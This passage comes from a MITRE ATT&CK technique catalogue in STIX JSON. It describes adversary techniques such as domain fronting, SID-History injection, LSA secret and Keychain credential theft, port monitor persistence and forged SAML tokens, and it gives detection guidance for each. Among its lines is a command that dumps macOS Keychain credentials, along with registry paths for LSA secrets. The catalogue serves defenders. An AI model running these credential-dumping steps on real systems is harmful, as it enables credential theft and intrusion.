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            "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",
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            "created": "2020-10-01T01:42:24.974Z",
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                    "external_id": "T1587.003"
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                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
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            "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2020-03-02T14:22:24.410Z",
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                    "url": "https://attack.mitre.org/techniques/T1565/001",
                    "external_id": "T1565.001"
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                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
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                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
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            "description": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2020-02-11T18:38:56.197Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1110/002",
                    "external_id": "T1110.002"
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                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Wikipedia Password cracking",
                    "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.",
                    "url": "https://en.wikipedia.org/wiki/Password_cracking"
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            "name": "Password Cracking",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2018-01-16T16:13:52.465Z",
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                    "url": "https://attack.mitre.org/techniques/T1178",
                    "external_id": "T1178"
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                {
                    "source_name": "Microsoft SID",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
                },
                {
                    "source_name": "Microsoft SID-History Attribute",
                    "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms679833.aspx"
                },
                {
                    "source_name": "Microsoft Well Known SIDs Jun 2017",
                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
                },
                {
                    "source_name": "Microsoft Get-ADUser",
                    "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/ee617241.aspx"
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                {
                    "source_name": "AdSecurity SID History Sept 2015",
                    "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
                    "url": "https://adsecurity.org/?p=1772"
                },
                {
                    "source_name": "Microsoft DsAddSidHistory",
                    "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
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            "name": "SID-History Injection",
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                    "phase_name": "privilege-escalation"
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            "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015)  (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)",
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                    "external_id": "T1114.001"
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                {
                    "source_name": "Outlook File Sizes",
                    "description": "N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020.",
                    "url": "https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/"
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                    "source_name": "Microsoft Outlook Files",
                    "description": "Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.",
                    "url": "https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790"
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                    "external_id": "T1555.001"
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                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                    "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                },
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                    "source_name": "Keychain Services Apple",
                    "description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.",
                    "url": "https://developer.apple.com/documentation/security/keychain_services"
                },
                {
                    "source_name": "Empire Keychain Decrypt",
                    "description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.",
                    "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py"
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                    "source_name": "OSX Keychain Schaumann",
                    "description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.",
                    "url": "https://www.netmeister.org/blog/keychain-passwords.html"
                },
                {
                    "source_name": "Keychain Decryption Passware",
                    "description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.",
                    "url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption"
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            "name": "Keychain",
            "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain \u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  ",
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            "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.",
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Process: Process Creation",
                "Process: OS API Execution",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "created": "2020-01-23T17:46:59.535Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547",
                    "external_id": "T1547"
                },
                {
                    "source_name": "Cylance Reg Persistence Sept 2013",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
                },
                {
                    "source_name": "MSDN Authentication Packages",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
                },
                {
                    "source_name": "Microsoft Run Key",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
                },
                {
                    "source_name": "Microsoft TimeProvider",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
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            "modified": "2025-04-15T19:58:12.270Z",
            "name": "Boot or Logon Autostart Execution",
            "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.",
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                    "phase_name": "persistence"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns)  Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                "File: File Modification",
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                "Process: Process Creation",
                "Driver: Driver Load"
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "created": "2020-02-21T16:22:09.493Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/004",
                    "external_id": "T1003.004"
                },
                {
                    "source_name": "Tilbury Windows Credentials",
                    "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.",
                    "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf"
                },
                {
                    "source_name": "ired Dumping LSA Secrets",
                    "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.",
                    "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets"
                },
                {
                    "source_name": "Microsoft AD Admin Tier Model",
                    "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Passcape LSA Secrets",
                    "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.",
                    "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
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            "modified": "2025-04-15T22:44:50.491Z",
            "name": "LSA Secrets",
            "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",
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                {
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",
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            "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
            "created": "2017-05-31T21:30:26.057Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1013",
                    "external_id": "T1013"
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                {
                    "source_name": "AddMonitor",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/dd183341"
                },
                {
                    "source_name": "Bloxham",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "modified": "2025-04-25T15:15:14.881Z",
            "name": "Port Monitors",
            "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
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            "x_mitre_contributors": [
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                "Travis Smith, Tripwire"
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            "x_mitre_detection": "* Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
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            "id": "attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8",
            "created": "2020-10-19T18:47:08.759Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1600",
                    "external_id": "T1600"
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                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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            "modified": "2025-04-25T15:15:15.040Z",
            "name": "Weaken Encryption",
            "description": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)",
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                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
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            "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2",
            "created": "2020-12-17T15:24:12.240Z",
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                    "url": "https://attack.mitre.org/techniques/T1606/002",
                    "external_id": "T1606.002"
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                {
                    "source_name": "Microsoft SolarWinds Steps",
                    "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/"
                },
                {
                    "source_name": "Microsoft SAML Token Lifetimes",
                    "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Cyberark Golden SAML",
                    "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.",
                    "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"
                },
                {
                    "source_name": "Sygnia Golden SAML",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
                    "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
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            "name": "SAML Tokens",
            "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)",
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                {
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                "Oleg Kolesnikov, Securonix",
                "Jack Burns, HubSpot"
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            "x_mitre_detection": "This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)",
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        {
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            "id": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba",
            "created": "2018-04-18T17:59:24.739Z",
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                    "url": "https://attack.mitre.org/techniques/T1192",
                    "external_id": "T1192"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html",
                    "external_id": "CAPEC-163"
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                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
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            "modified": "2025-04-25T15:15:15.281Z",
            "name": "Spearphishing Link",
            "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)",
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                "Mark Wee",
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"
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            "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Office 365",
                "SaaS"
            ],
            "x_mitre_version": "1.2"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471",
            "created": "2023-03-08T22:40:06.918Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/008",
                    "external_id": "T1036.008"
                },
                {
                    "source_name": "polygot_icedID",
                    "description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.",
                    "url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"
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            "modified": "2025-04-15T19:58:12.855Z",
            "name": "Masquerade File Type",
            "description": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.  Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "CrowdStrike Falcon OverWatch",
                "Ben Smith, @cyberg3cko"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "created": "2019-03-29T19:00:55.901Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1489",
                    "external_id": "T1489"
                },
                {
                    "source_name": "SecureWorks WannaCry Analysis",
